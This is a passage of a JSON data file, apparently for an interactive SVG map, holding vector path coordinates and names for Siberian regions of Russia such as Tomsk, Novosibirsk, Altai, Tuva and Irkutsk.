0.71429-4.4643,1.0714-4.4643,1.0714l-4.2857-0.17857-1.9643-2.3214-0.89286-3.0357s-1.25-1.0714-2.6786-0.71428c-1.4286,0.35714-1.6072,1.25-2.6786,1.25s-2.5,0-3.0357-0.89286c-0.53571-0.89286-0.89285-3.0357-0.89285-3.0357l-0.9-2.33s-1.6071-0.89286-2.5-1.6071c-0.89286-0.71429-3.2143-2.3214-3.2143-2.3214l-5.1786-2.3214-4.2857-1.9643-4.6429-1.7857-2.6786-1.0714-1.7857-2.5v-3.0357l1.6072-2.8572,0.35714-1.7857-0.53571-2.3214,1.25-3.0357,0.71428-3.3929,1.9643-1.0714,3.3928-2.8571s0-2.1429,0.71429-2.3214c0.71429-0.17857,5.7143-1.6071,5.7143-1.6071l1.9643-1.7857,1.25-2.6786,2.5-1.6071,1.6071-3.2143s1.0714-1.0714,1.7857-1.7857c0.71428-0.71429,2.1428-1.4286,2.1428-1.4286l1.9643-0.35715,2.1429,1.7857,2.1428,1.0714,2.5,0.35714,2.8572,1.4286,1.0714,1.6071,3.0357,0.89286h3.3929l2.1428,0.35714,1.25,1.6072,2.6786,0.71428,2.3214,0.71429,2.1429,1.7857,1.25-0.89286,1.7857-0.53571,2.1428-1.4286,2.1429-0.17857,1.6071,0.71428,1.7857,0.89286z","name":"Tomsk Oblast"},"nv":{"path":"m341.43,421.57,4.1071,0.71429l4.4643-0.17858c1.25-0.17857,2.1429-0.71428,2.1429-0.71428l-2.14,3.4h-3.0357l-0.89285,2.1428s1.0714,1.9643,1.7857,2.5c0.71429,0.53572,2.6786,3.0357,2.6786,3.0357l0.53572,2.1428,2.3214,0.35715h1.4286s2.6786,0.35714,3.3928,0.35714c0.71429,0,0.89286,0,1.9643-0.35714,1.0714-0.35715,3.2143-0.71429,4.6429-0.71429h3.5714s2.6786,0.17857,3.5714-0.35714c0.89286-0.53572,0.89286-1.0714,2.3214-1.25,1.4286-0.17857,3.0357-0.17857,3.9286-0.17857,0.89286,0,1.9643-0.17857,1.9643-0.17857s0,1.6071,0.89286,2.1428c0.89285,0.53572,4.1071,2.6786,4.1071,2.6786l0.71428,0.71429c0.17858,0.71429-0.17857,2.5-0.17857,3.2143,0,0.71428-1.0714,0.71428-0.17857,1.6071,0.89286,0.89286,1.9643,1.4286,1.9643,1.4286l2.3214-1.9643,2.3214-2.3214s2.1429-0.53572,2.8572-0.53572c0.71428,0,3.0357,0,3.75-0.17857,0.71428-0.17857,1.4286-0.71429,2.6786-0.17857,1.25,0.53571,2.3214,0.71428,3.3929,0.71428,1.0714,0,3.5714-1.25,3.5714-1.25s1.7857-2.1428,1.9643-2.8571c0.21-0.7-0.33-4.45-0.33-4.45v-3.75c0-0.71429,0.71428-2.3214,1.25-2.6786,0.53571-0.35714,1.7857-0.89285,1.7857-1.7857,0-0.89286-0.89286-1.6071-0.89286-1.6071s-0.89285-0.53572-0.89285-1.4286c0-0.89286,0.35714-3.2143-0.53572-3.0357-0.89285,0.17857-4.1071,1.7857-4.1071,1.7857s0,0.17857-1.4286,0.17857-2.5,0-2.6786-0.71429c-0.17857-0.71428,0.35714-5,0.35714-5l0.53571-2.6786,0.17858-2.1429-2.8572,1.4286s-1.6071,0.53572-2.5,0.71429c-0.9,0.18-4.47-0.71-4.47-0.71l-2.1429-0.71428-1.4286-2.1429-1.4286-2.8571s-2.5,0.53571-3.2143,0.71428c-0.71428,0.17858-1.9643,0.53572-1.9643,0.53572l-2.3214-1.25-1.0714-3.3929v-1.25l-3.0357-1.7857s-1.9643-1.6072-2.6786-2.1429c-0.71428-0.53571-3.3928-1.7857-3.3928-1.7857s-3.3929-1.25-4.1072-1.6072c-0.71428-0.35714-1.9643-1.25-2.6786-1.6071-0.71428-0.35714-3.9286-1.4286-3.9286-1.4286l-1.9643,0.17857s-0.35715,1.0714-0.53572,1.9643c-0.17857,0.89285-1.0714,2.3214-1.0714,2.3214l-1.4286,1.0714-0.89286,1.6072,0.17858,2.1428-0.71429,1.4286h-3.2143l-2.5-0.35714-2.1428,0.89286-2.1429,2.3214-1.4286,1.9643-0.71429,2.6786,0.71429,1.9643,1.7857,2.6786v1.7857l-2.1428,3.5714z","name":"Novosibirsk Oblast"},"al":{"path":"m351.25,435.14,1.7857,5,1.7857,5.1786,1.6071,6.7857,0.89286,8.5714,0.35714,8.2143,0.35714,2.8571,2.3214-0.53571,1.7857-0.53572,0.89285-0.53571,0.17857-1.9643,1.25-1.6071,1.25-0.35714,1.7857,0.53571,0.89286,1.9643,0.89285,2.8571,2.3214,2.8571,1.9643,1.6071,4.6428,0,3.3929-0.35714,2.5-0.89286,2.3214,0,3.3929,1.4286,1.0714,1.9643,2.3214,0.53572,2.3214-0.53572-0.17857-1.4286-1.6071-1.0714-1.0714-0.89286,0.35714-1.6071,0.71429-0.35714,2.5-0.35714,4.4643-0.71429,3.75-0.17857,2.6786-0.71429,2.3214-1.9643,1.0714-1.9643s0.53572-0.71428,1.25-0.71428c0.71429,0,3.3929-0.17858,3.3929-0.17858l1.9643-0.17857,1.0714-1.7857s0.53572-2.1429,1.25-2.5c0.71429-0.35714,0.89286-2.3214,0.89286-2.3214l0.71429-2.1429-0.35715-1.0714-0.71428-1.0714,0.71428-0.89286,1.25-0.53571-0.17857-1.0714-1.4286-1.6072-1.0714-1.0714c-0.17857-0.71429-0.89286-2.8572-0.89286-2.8572l-1.7857-1.7857-0.17857-0.89286-0.53572-2.1429-1.6071-1.4286-2.5-1.9643-1.74-1.79s-1.6072,1.0714-2.3214,1.4286c-0.71429,0.35715-1.7857,0.71429-1.7857,0.71429l-2.5,0.17857-2.5-0.35714-3.0357-0.17857-4.8214,0.71428-2.5,1.6072-1.6071,1.7857-1.0714,0.71429-0.89286,0.35714-1.4286-1.25-0.35714-0.89286,0.35714-0.89286,0.17857-1.7857-0.17857-1.4286-2.3214-1.6071-1.9643-1.25-1.0714-1.25-0.17857-0.89286-1.9643-0.17857-4.2857,0.17857-1.25,1.25-2.1429,0.53571-3.75-0.53571-4.2857,0.17857-2.6786,1.25h-2.5l-3.3929-0.17857z","name":"Altai Krai"},"km":{"path":"m442.14,414.79-0.71428,2.3214,0.89286,1.6072,2.5,1.4286,1.7857,1.6071,1.25,2.5,0.17857,0.89286s-0.89286,1.4286-1.6071,2.1429c-0.71429,0.71428-4.2857,2.3214-4.2857,2.3214l-1.7857,1.7857-1.7857,1.7857v1.6072l1.0714,1.7857,0.17858,1.7857-1.9643,2.5s-1.25,1.0714-1.0714,1.7857c0.17857,0.71428,1.0714,1.4286,1.7857,1.6071,0.71428,0.17857,2.8571,0.89286,2.8571,0.89286l-0.71429,1.4286-1.25,1.7857-0.53571,1.6072-1.7857,0.71428-1.4286,1.6072,0.71429,1.25,1.25,1.25-0.89286,2.5-1.25,1.6071,0.53572,1.25,1.7857,1.7857-0.35714,1.6072-1.6072,1.9643-2.5,2.1429h-1.9643l-0.71429-1.7857-1.9643-1.25-2.6786-0.35714-1.4286,1.0714-2.1428-1.4286-0.71429-2.3214-1.0714-0.71429,0.17857-2.5-0.53571-2.5,0.89286-1.9643,0.71428-1.6071-2.1428-2.6786-1.6072-2.6786-1.25-1.4286-0.71428-2.3214-0.89286-1.7857-2.3214-2.1429-1.7857-1.6071-0.71429-1.25v-1.7857l-0.35714-4.6428,0.17857-2.5,0.71429-2.3214,1.25-1.4286,0.71428-1.25-1.4286-1.9643v-0.89286l-0.35714-2.5,1.6071-0.35714,4.4643-0.53571,2.5-0.89286,3.0357-0.89286,1.0714-0.35714,0.71428-0.89286h1.6072,1.9643,2.5l1.7857,0.35715,1.4286,0.35714,0.89286,0.89286,1.9643,0.53571,1.6071-0.17857,2.5-0.71429z","name":"Kemerovo Oblast"},"lt":{"path":"m392.32,478.89-0.44643,2.1428s-0.17857,1.875,0,2.5893c0.17857,0.71429,1.1607,2.3214,1.1607,2.3214l3.3036,0.89286s0.98215,1.1607,1.0714,1.6071c0.0893,0.44643,0.0893,3.3036,0.0893,3.3036s0.17857,0.89286,0.53571,1.6071c0.35715,0.71429,1.25,1.875,1.7857,2.2322,0.53571,0.35714,1.6071,1.25,2.4107,1.3393,0.80357,0.0893,3.125,0.0893,3.5714,0.0893,0.44643,0,4.0179,0.0893,4.0179,0.0893s1.0714,0.53572,1.6071,0.89286c0.53571,0.35714,1.4286,1.25,1.7857,1.875,0.35715,0.625,1.5179,1.6964,2.0536,1.9643,0.53571,0.26785,1.1607,0.80357,1.7857,1.1607,0.625,0.35714,1.6964,0.71429,2.4107,0.80357,0.71429,0.0893,2.9464-0.44643,3.3929-0.71428,0.44643-0.26786,2.3214-0.89286,3.4821-0.89286s4.7322-0.35714,5-0.44643c0.26786-0.0893,3.5714-1.3393,4.1964-1.3393s1.4286-0.89285,1.6071-1.25c0.17858-0.35714,0.625-1.9643,0.17858-2.7678-0.44643-0.80357-0.80358-1.0714-1.4286-1.4286-0.625-0.35715-1.4286-1.25-1.25-1.7857,0.17858-0.53571,1.9643-1.1607,2.4107-1.1607,0.44643,0,2.5,1.0714,2.5,0.26785,0-0.80357-1.6964-2.2321-1.6964-2.2321s-0.98214-1.3393-1.25-1.7857c-0.26786-0.44643-1.875-1.9643-1.875-1.9643s-2.2321-2.7679-2.0536-4.1071c0.17857-1.3393-0.0893-3.3929-0.0893-3.3929s-0.625-1.3393-0.71428-1.6964c-0.0893-0.35714-1.3393-0.17857-1.3393-0.17857l-1.5179,1.5179s-1.4286-0.26786-1.5178-0.80357c-0.0893-0.53572-0.71429-2.5893-0.71429-2.5893s-0.35714-1.7857-0.44643-2.1429c-0.0893-0.35714-0.17857-1.9643-0.17857-1.9643l1.6964-1.3393,2.8571-1.3393,0.35715-1.1607-1.3393-1.6071-0.80357-0.625-2.1429-0.53571-1.9643,0.98214s-1.0714-0.625-1.4286-0.80357c-0.35714-0.17857-1.0714-0.89286-1.0714-0.89286l-0.89286-1.7857s0-1.0714-0.71429-0.89286c-0.71428,0.17857-0.89285,0.71428-0.89285,0.71428s-1.1607,1.1607-1.1607,1.5179c0,0.35714-0.625,1.4286-0.625,1.4286l-0.98214,1.0714s-1.6071,0.44643-1.9643,0.44643h-3.0357c-0.35714,0-1.1607,0.71429-1.5179,1.0714-0.35714,0.35714-1.1607,1.9643-1.1607,1.9643l-1.5179,1.0714-0.98214,0.625-2.3214,0.71429h-2.3214l-4.1071,0.71428-4.1071,0.625-1.0714,0.625-0.0893,0.98215s0.0893,0.89285,0.53572,0.98214c0.44642,0.0893,1.6071,0.80357,1.6071,0.80357l0.44643,0.89286-0.0893,0.89286-1.875,0.625z","name":"Altai Republic"},"tv":{"path":"m431.96,477.02,0.26786-1.6964s0.89286-0.625,1.6071-0.625c0.71429,0,1.6964,0.71428,2.4107,0.89286,0.71428,0.17857,2.7678,0.71428,3.0357,0.71428,0.26786,0,1.0714-0.80357,1.3393-1.25,0.26785-0.44643,1.9643-2.6786,1.9643-2.6786s0-1.25,0.625-1.6071c0.625-0.35715,1.875-0.35715,2.3214-0.35715,0.44643,0,1.6071-0.17857,2.3214,0.26786,0.71429,0.44643,1.1607,3.0357,1.1607,3.0357s0.89286,0.89285,1.1607,0.89285c0.26786,0,2.1429-0.80357,2.1429-0.80357s1.4286,0.17857,1.7857,0.44643c0.35714,0.26786,3.0357,0.89286,3.0357,0.89286s1.6964,1.6071,2.2322,1.6071c0.53571,0,1.6964,0.26786,2.6786-0.0893,0.98214-0.35714,2.8571-0.80357,3.3929-1.25,0.53571-0.44642,5.5357-1.9643,5.9821-2.5,0.44643-0.53571,7.0536-5.9821,7.0536-5.9821l2.1429-2.8571s-0.17857-1.875-0.17857-2.9464,1.0714-2.3214,1.4286-2.5893c0.35714-0.26785,2.8571,0.0893,3.3036,0.17858,0.44643,0.0893,4.375,0.89285,4.7321,0.80357,0.35714-0.0893,4.2857-0.44643,4.2857-0.44643l2.4107-2.2321s1.5179-0.35715,2.4107,0.0893c0.89286,0.44643,3.6607,2.5,4.1964,2.7679,0.53572,0.26786,3.75,2.3214,3.75,2.3214l1.6072,1.5178s1.25,0.71429,1.7857,0.44643c0.53571-0.26785,2.3214-0.89285,2.3214-0.89285l1.6071,0.53571,0.35714,1.25s0.53572,0.89286,0.53572,1.25-0.89286,1.6071-0.89286,1.6071-0.71428,0.53572-0.80357,1.1607c-0.0893,0.625-0.26786,4.1071-0.26786,4.1071s-0.0893,2.3214-0.0893,2.7679c0,0.44643-0.71429,2.1428-0.71429,2.1428l-1.4286,2.4107s-1.5179,1.3393-1.875,1.875c-0.35714,0.53571-2.2321,1.3393-2.4107,1.6964-0.17858,0.35714-0.71429,1.875-0.71429,1.875s-0.71429,1.875-0.71429,2.4107c0,0.53572-0.0893,3.3929-0.0893,3.9286,0,0.53572,0.53571,2.5,1.0714,3.2143,0.53571,0.71428,1.25,1.6071,1.25,2.0536,0,0.44643-0.80357,2.3214-1.1607,2.7679-0.35714,0.44643-4.8214,4.1964-4.8214,4.1964l-2.0536,1.25-2.1428,0.17857s-1.7857-0.98215-2.1429-0.89286c-0.35714,0.0893-2.3214,0.17857-2.6786,0.17857-0.35715,0-1.7857-0.89286-1.7857-0.89286s-1.6964-0.35714-2.1428-0.625c-0.44643-0.26785-1.7857-1.1607-1.7857-1.1607s-2.7679-0.26786-3.2143-0.26786c-0.44643,0-2.8572-0.17857-3.2143-0.53571l-2.0536-2.0536s-0.71429-1.4286-0.80357-1.9643c-0.0893-0.53571-0.17857-2.5-0.17857-2.5s-0.80358-0.80357-1.3393-1.25c-0.53571-0.44643-2.1429-0.89286-2.9464-0.89286-0.80357,0-3.9286,0.17858-3.9286,0.17858s-1.9643,0.53571-2.2321,0.625c-0.26786,0.0893-1.25,0.71428-1.875,0.80357-0.625,0.0893-2.0536,0.0893-1.9643-0.80357,0.0893-0.89286,1.25-1.6964,1.3393-2.0536,0.0893-0.35714-0.0893-1.0714-0.71429-1.3393-0.625-0.26786-2.1429-0.17857-3.0357,0.0893-0.89286,0.26786-2.3214,0.80358-2.8572,0.89286-0.53571,0.0893-3.3928,0.71429-3.3928,0.71429s-2.1429,0.89285-2.6786,1.0714c-0.53572,0.17857-3.8393,1.1607-3.8393,1.1607l-3.0357,1.5179-2.4107,1.1607-2.5893-0.26786-2.1429-0.98214-1.5179-0.71428-1.25-1.25c0-0.44643,0.35714-0.98215,0.35714-0.98215l2.4107-0.44643,1.7857,0.53572s1.25-0.35714,0.17857-1.0714c-1.0714-0.71429-4.4643-5.0893-4.4643-5.0893l-1.48-2.44s-1.0714-1.4286-1.0714-1.7857v-2.5893z","name":"Tuva Republic"},"hk":{"path":"m440.27,432.11c0.53572,0.35715,1.9643,1.875,1.9643,1.875l1.3393,1.6072s0.26785,0.625,1.1607,0.80357c0.89286,0.17857,2.0536,0.17857,2.0536,0.17857s0.35714-0.35714,0.80357-0.80357,0.625-0.98214,0.98215-1.25c0.35714-0.26786,0.89285-0.89286,1.3393-0.80357,0.44643,0.0893,0.71429,0.26785,1.3393,0.71428,0.625,0.44643,1.3393,1.25,2.2321,1.25,0.89286,0,2.5,0.80357,2.5,0.80357s0.44643,1.875,0.625,2.3214c0.17857,0.44643,0.53571,2.9464,0.53571,2.9464s0.35715,1.5179,0.71429,2.4107c0.35714,0.89285,0.98214,2.0536,1.0714,2.4107,0.0893,0.35714-0.0893,3.125-0.17857,3.3929-0.0893,0.26785-0.80357,1.875-0.89286,2.2321-0.0893,0.35714,0,2.5893,0,2.5893l1.5179,1.5179,0.625,1.875s-1.25,1.4286-1.4286,1.6964c-0.17858,0.26786-2.2322,1.3393-2.5893,1.875-0.35714,0.53571-1.4286,3.0357-1.4286,3.0357s-1.6071,1.9643-2.1429,2.2322c-0.53571,0.26785-2.8571,1.0714-3.125,1.5178-0.26786,0.44643-1.6964,1.6964-1.6964,1.6964l-2.7678,0.0893s-1.3393,0.17857-1.6072,0.625c-0.26785,0.44643-0.53571,1.4286-1.0714,1.875-0.53571,0.44643-1.0714,1.25-1.1607,1.6071-0.0893,0.35714-0.89286,1.0714-0.89286,1.0714s0.0893,0.71429-1.0714,0.625c-1.1607-0.0893-2.9464-0.35714-2.9464-0.35714l-1.7857-1.1607-1.6071,0.44643-0.625,0.80357-0.26786,0.89286-2.5,1.0714s-0.625,0.89286-1.1607,0.35714c-0.53572-0.53571-1.25-2.3214-1.25-2.3214l-0.625-2.5893v-1.5179s0.17857-1.0714,0.53571-1.25c0.35714-0.17857,2.5-1.6071,2.5-1.6071s1.3393-0.98215,1.6964-1.0714c0.35714-0.0893,2.1429-0.44643,2.1429-0.44643l1.9643-1.0714,1.5179-2.0536,1.3393-1.0714-0.44643-1.6071s-1.25-1.25-1.4286-1.6071c-0.17858-0.35715-0.44643-1.25-0.44643-1.25l1.6071-2.2322,0.0893-1.875s-1.0714-1.1607-1.1607-1.5178c-0.0893-0.35715-0.0893-1.25-0.0893-1.25l2.5893-1.5179,1.0714-1.875,1.1607-1.9643,0.53572-1.6964-3.5714-1.1607s-0.89286-1.25-0.71429-1.7857c0.17858-0.53572,1.7857-2.4107,1.7857-2.4107s0.89286-1.875,0.89286-2.3214c0-0.44642-1.0714-2.8571-1.0714-2.8571s0-0.71428,0.26785-1.1607c0.26786-0.44643,1.25-0.98215,1.25-0.98215z","name":"Republic of Khakassia"},"ir":{"path":"M569.41,325.78c-0.12,0.03-0.22,0.12-0.22,0.34,0,0.45,0.53,1.54,0.53,1.54l0.37,1.06s-0.26,0.88-0.62,1.06-1.78,0.63-1.78,0.63l-2.69,0.09s-1.61,0.26-1.88,0.44c-0.26,0.18-0.9,0.73-0.9,1.09s-0.44,1.96-0.53,2.31c-0.09,0.36-0.16,1.97-0.16,1.97s0.18,0.78,0.63,1.41c0.44,0.62,0.43,1.81,0.43,1.81l-1.25,1.16s0.26,1.67,0.35,2.03,1,3.4,1,3.4l0.43,2.5s-0.28,1.42-0.28,1.69-0.96,4.57-0.96,4.57-0.09,0.98-0.54,1.24c-0.44,0.27-2.06,1.88-2.06,1.88s-0.19,0.99-0.19,1.34c0,0.36,0.37,1.06,0.19,1.5-0.18,0.45-1.97,1.72-1.97,1.72l-2.59,0.72-1.31,0.88-0.29,3.84-0.09,2.22v1.81c0,0.36,0.27,1.34,0.72,1.78,0.45,0.45,2.16,1.97,2.16,1.97l2.21,0.53,1.16,0.78,0.1,2.25s-0.37,1.33-0.82,1.5c-0.44,0.18-2.75,1.82-2.75,1.82l-0.53,1.15,0.97,1.16,1.97,1.59s0.78,0.1,0.87,0.72c0.09,0.63-0.15,2.6-0.15,2.6l-0.47,1.43-1.25,1.07-1.41,1.43-0.19,1.6-1.24,0.81-2.79-0.28-1.59-1.35-1.78-0.68-2.25-0.63s-0.45-0.74-0.63-1.19c-0.17-0.44-0.34-1.68-0.34-1.68l-1.25-0.72-1.87,1-1.26,0.09-0.18,1.69-0.35,2.41-0.53,1.53-0.9,0.97-1.6,0.53s-1.89,0.28-2.25,0.37c-0.35,0.09-1.34,1.41-1.34,1.41s-0.53,0.8-0.44,1.15c0.09,0.36,0.19,1.25,0.19,1.25l-1.16,0.91-2.06,0.81s-0.44,0.9-0.44,1.25c0,0.36,0.16,1.97,0.16,1.97l0.37,1.5,0.1,1.63s0.7,0.7,0.43,1.06c-0.26,0.36-2.78,0.62-2.78,0.62l-1.93-2.78-1-1.5-1.07-2.34-1.06-0.69h-1.72l-1.59,1.69s-0.89,0.81-1.16,1.44c-0.27,0.62,0.01,1.78-1.15,1.78s-3.22-0.38-3.22-0.38l-1.25-1.15-1.97-0.44-1.34-0.19s-0.62,0.64-0.97,0.91c-0.36,0.27-1.35,1.25-1.35,1.25v0.62l-0.72,1.88-1.15,2.22-0.81,0.9-0.29,1.35,0.63,1.68s0.45,0.9,0.81,1.25c0.36,0.36,0.63,0.35,0.72,0.97,0.09,0.63,0.19,2.6,0.19,2.6l-0.38,2.4-0.97,1.88s-1.88,1.79-2.15,2.06-2.13,1.61-2.13,1.97-1.62,4.19-1.62,4.19l-1.25,2.25s-0.69,2.11-0.78,2.56-0.63,3.59-0.63,3.59-0.09,1.33-0.62,1.6c-0.54,0.26-3.69,0.81-3.69,0.81s-2.12,1.07-2.56,1.34c-0.45,0.27-0.72,0.63-0.72,0.63s-0.19,0.52-0.1,0.87c0.09,0.36,1.16,2.25,1.16,2.25l1.44,2.66,1.06,0.56,0.97,1.06,1.09,1.69v0.81l1.25-0.43s0.9-0.91,1.25-1c0.36-0.09,1.78,0.28,1.78,0.28l1.44,0.87s1.43,0.91,1.78,1c0.36,0.09,2.03,1.41,2.03,1.41l4.32,2.87s0.34,0.82,1.06,0.82c0.71,0,2.41-0.38,2.41-0.38l1.78-0.34,1.06,1.15,0.28,1.16,0.28,1.53,2.56-0.81,2.44-2.41s2.14-2.16,3.13-2.34c0.98-0.18,2.12,1.19,2.12,1.19s0.72,1.58,1.25,2.03c0.54,0.44,2.43,2.32,2.78,2.59,0.36,0.27,3.03,1.53,3.03,1.53l2.22,2.66c0.45,0.53,2.52,3.22,2.97,3.22s2.84,0.18,3.38,0.09c0.53-0.09,1.96,0.63,2.5,1.25,0.53,0.63,1.78,2.69,1.78,2.69s1.27,1.69,1.62,1.78c0.36,0.09,1.16,1.88,1.16,1.88s0.89,1.62,1.25,1.53,2.31-0.63,2.31-0.63,0.73,0.15,0.91,0.69c0.18,0.53,0.87,2.59,0.87,2.59s1.18,0.62,1.53,0.53c0.36-0.09,1.88-1.25,1.88-1.25s1.77-0.26,2.12-0.43c0.36-0.18,1.44-0.82,0.82-1.44-0.05-0.04-0.11-0.06-0.16-0.09,0.05-0.01,0.34-0.07,0.34-0.07l1.69-0.62,8.75-2.88s1-1.76,1-2.03,0.63-2.06,0.63-2.06l0.06-2.06,0.81-0.82,1.78-0.96,2.25-0.82,1.16-1.68,1.06-0.82,5.44-2.59,1.62-1.31,0.82-1.1,0.62-2.5,1.94-1.15s1.27-0.9,1.62-1.35c0.36-0.44,0.35-0.97,0.35-0.97l-0.63-0.81-1.25-1.25-0.34-0.81s0.18-0.96,0.62-1.41c0.45-0.44,0.71-0.63,1.07-0.72,0.35-0.09,1.25,0.35,1.25,0.35l1,1.09,0.87-0.47,0.63-1.78s0.81-2.14,0.9-2.5,0.25-1.69,0.25-1.69-0.25-3.05-0.25-3.5v-2.5s0.44-4.01,0.53-4.37,0.35-2.13,0.35-2.13l-0.1-1.87s-0.44-1.17-0.62-1.44-0.16-0.81-0.16-0.81,0.63-1.05,0.72-1.41c0.09-0.35-0.37-0.81-0.37-0.81s-0.54-0.71-0.72-1.06c-0.18-0.36-0.88,0.15-0.88,0.15l-1.44,0.91s-0.79,1.26-1.15,1.53-0.44,1.31-0.44,1.31l-0.28,4.38-0.81,1.34-1.53-0.09c-0.34-0.63-0.73-1.32-0.79-1.6-0.08-0.44-0.43-2.67-0.34-3.65s0.97-4.38,0.97-4.38l1.25-1.25s0.09-1.52-0.53-2.06c-0.63-0.53-1.87-1.07-2.41-1.34-0.53-0.27-1.72-1.35-1.72-1.97,0-0.63,0.92-1.77,1.19-2.13,0.27-0.35,3.93-1.51,4.28-1.78,0.36-0.27,3.57-2.15,3.57-2.15l3.65-1.07,2.78,0.25,2.13-0.34,1.34-2.5,2.88-0.81s1.87,1.25,2.4,1.25c0.54,0,2.22-0.72,2.22-0.72s1.07,0.64,1.25,1,1.63,1.34,1.63,1.34l1.93-0.37s1.35-0.44,2.07-0.35c0.71,0.09,1.7,0.98,2.06,1.07s2.75-0.72,2.75-0.72l1.09-1.5,2.5-1.16s1.35-1.08,1.35-1.53,0.15-3.22,0.15-3.22,1.25-0.61,1.88-0.97c0.62-0.35,2.15-0.18,2.15-0.18s0.17-1.34,0.35-1.79c0.18-0.44,1.33-1.34,1.78-1.43s2.44,0.37,2.44,0.37l1.15,0.97-1.34,1.44-0.72,1.15,0.72,0.72s2.31-0.45,2.94-0.72c0.62-0.26,2.24-0.44,2.78-0.53,0.53-0.09,2.84-1.15,2.84-1.15s0.91-1.08,0.91-1.44-0.2-1.71-0.38-2.16c-0.18-0.44-2.21-1.14-2.65-1.59-0.45-0.45-0.54-2.58-0.72-2.94s-0.9-1.9-0.63-2.44c0.27-0.53,1.06-1.78,1.06-1.78l-0.62-2.5s-0.01-2.48,0.34-2.84c0.36-0.36,2.07-1,2.07-1l2.93,0.81s0.9,1.15,1.35,1.06c0.44-0.09,2.15-0.53,2.15-0.53l0.25-3.56-0.87-1.16s-1.27-1.42-1.63-1.68c-0.35-0.27-1.25-1.25-1.25-1.25l-1.68-2.97-0.25-2.6-0.72-1.68-2.25-0.54-1.78,0.97-3.13,1.53-1.97,0.44-0.72-0.72-0.78-2.84-1-1.59-2.75-2.35-2.34-1.68-2.66-0.91-2.78-0.06s-2.49,0.8-2.84,1.15c-0.36,0.36-1.45,1.52-1.72,1.88-0.27,0.35-0.88,2.5-0.88,2.5l-0.28,2.12v2.5s-0.17,1.36-0.43,1.72c-0.27,0.36-3.94,2.03-3.94,2.03l-1.16,1.72-0.19,2.66-0.97,2.25-2.15,2.22s-0.6,0.63-0.69,0.09-0.62-2.22-0.62-2.22l-2.16-2.34s-0.44-1.23-1.06-0.78c-0.63,0.44-1.63,1.31-1.63,1.31l-3.28,1s-0.89,0.43-1.25,0.87c-0.36,0.45-2.97,0.72-2.97,0.72l-2.03,0.28-2.16,2.5s-0.62,1.26-1.24,0.82c-0.63-0.45-2.22-2.35-2.22-2.35l-0.82-1.59-0.53-2.94,0.16-5.56-0.06-2.56,1.5-2.6,1.87-3.03s0.44-1.61,0.44-2.06-0.53-3.03-0.53-3.03l-2.03-2.25-4.94-3.66s-0.63-0.71-0.63-1.25c0-0.53,0.1-2.31,0.1-2.31l1.15-1.97s0.63-0.35,0-1.06c-0.62-0.72-3.18-4.57-3.18-4.57l0.15-5.34s0.02-0.65-0.34-1.09c-0.36-0.45-2.59-3.28-2.59-3.28l-1.54-1.88s-0.24-0.62-0.68-0.62c-0.45,0-2.16,0.68-2.16,0.68s-1.17,0.82-1.44,0.29c-0.27-0.54-0.25-2.6-0.25-2.6s-0.29-1.16,0.16-1.25,1.62-0.44,1.62-0.44h1.5l0.29-1.43-1.79-1.97-1.53-1.35-1.4-0.06s-0.14-0.03-0.25,0z","name":"Irkutsk Oblast"},"br":{"path":"m513.39,476.39s1.6072,0.98214,2.3214,1.1607c0.71429,0.17857,2.8572,1.25,3.3929,1.3393,0.53571,0.0893,1.7857,0.71428,2.5,0.98214,0.71429,0.26786,1.875,0.98214,2.5893,1.3393,0.71428,0.35714,2.2321,0.53571,3.2143,0.625,0.98214,0.0893,2.8571,0.89285,3.4821,1.0714,0.625,0.17858,2.1429,1.0714,2.9464,1.1607,0.80357,0.0893,1.5179,0,2.7679,0.625s2.7679,1.3393,3.125,1.5179c0.35714,0.17857,0.71429,0.26785,0.80357,0.98214,0.0893,0.71428,0,2.6786,0.0893,3.0357,0.0893,0.35715,0.26785,1.6964,0.625,2.0536,0.35714,0.35715,1.6071,1.9643,2.5893,2.5893,0.98215,0.625,1.4286,1.6964,1.9643,2.1429,0.53571,0.44643,2.3214,1.875,2.8571,1.9643,0.53572,0.0893,2.3214,0.625,2.7679,0.625,0.44643,0,5.0893,0.44643,5.0893,0.44643s1.7857-0.80357,2.7679-1.25c0.98214-0.44643,4.0179-1.25,4.4643-1.5179,0.44643-0.26785,1.5178-0.98214,2.6786-1.0714,1.1607-0.0893,4.1964-0.0893,5.0893-0.0893,0.89286,0,4.1072,0.0893,4.1072,0.0893s2.3214-0.0893,3.125,0.44642c0.80357,0.53572,1.6071,1.6072,1.9643,2.1429,0.35715,0.53572,0.625,1.4286,1.0714,1.6071,0.44643,0.17858,1.4286,0.35715,1.875,0.35715,0.44643,0,2.1429-0.26786,2.5-0.35715,0.35714-0.0893,2.2321-0.44642,2.2321-0.44642l0.0893-2.6786s-0.0893-1.7857,0.53571-2.0536c0.625-0.26785,4.4643-1.5178,4.8214-1.6964,0.35715-0.17857,1.25-1.6071,1.25-1.6071s-2.5-0.625-3.3036-0.625c-0.80357,0-1.25-1.4286-1.25-1.4286l1.0714-1.5179,0.17857-1.9643,0.98214-1.0714,0.80358-1.3393s-0.625-0.98214-0.80358-1.3393c-0.17857-0.35715-0.0893-1.4286-0.0893-1.4286l2.2321-1.1607,3.125-0.35714,2.4107-1.1607,3.4821-2.4107,1.7857-0.625s1.4286,0.0893,1.875,0.26786c0.44643,0.17857,2.4107,0.53571,2.5893,0.17857,0.17857-0.35714,1.6071-1.9643,2.0536-2.3214,0.44643-0.35714,2.6786-2.1429,2.6786-2.1429l1.4286-1.1607s0.98215-1.25,1.4286-1.5179c0.44643-0.26786,1.875-1.0714,2.4107-1.0714,0.53571,0,0.98214,0,1.3393-0.26785,0.35715-0.26786,1.1607-1.25,1.3393-1.6072,0.17857-0.35714,1.0714-0.80357,1.6071-0.89285,0.53572-0.0893,5-1.3393,5-1.3393l2.6786-1.5179s1.875-1.5178,2.0536-1.875c0.17857-0.35714,1.6071-2.8571,1.6071-2.8571l0.98214-1.875s-0.26786-1.4286-0.71428-1.7857c-0.44643-0.35715-2.1429-1.6072-2.1429-1.6072l-2.5-1.25s-1.25-0.80357-1.1607-1.6071c0.0893-0.80357,7.5-5.625,7.5-5.625s0.98215-1.6964,1.0714-2.0536c0.0893-0.35714,0.89286-1.9643,1.25-2.3214,0.35715-0.35714,2.5-2.0536,2.5-2.0536s1.4286-0.625,1.875-0.71429c0.44643-0.0893,3.5714-1.5178,3.5714-1.5178l1.25-0.98215s0.44643-2.0536,0.44643-2.5893c0-0.53572-0.80357-3.8393-0.80357-3.8393s-1.0714-0.53571-1.4286-0.89285c-0.35715-0.35715-1.25-0.80358-2.1429-0.80358-0.89286,0-2.6786,0-3.125-0.625-0.44643-0.625-1.3393-1.25-1.6964-1.875-0.35714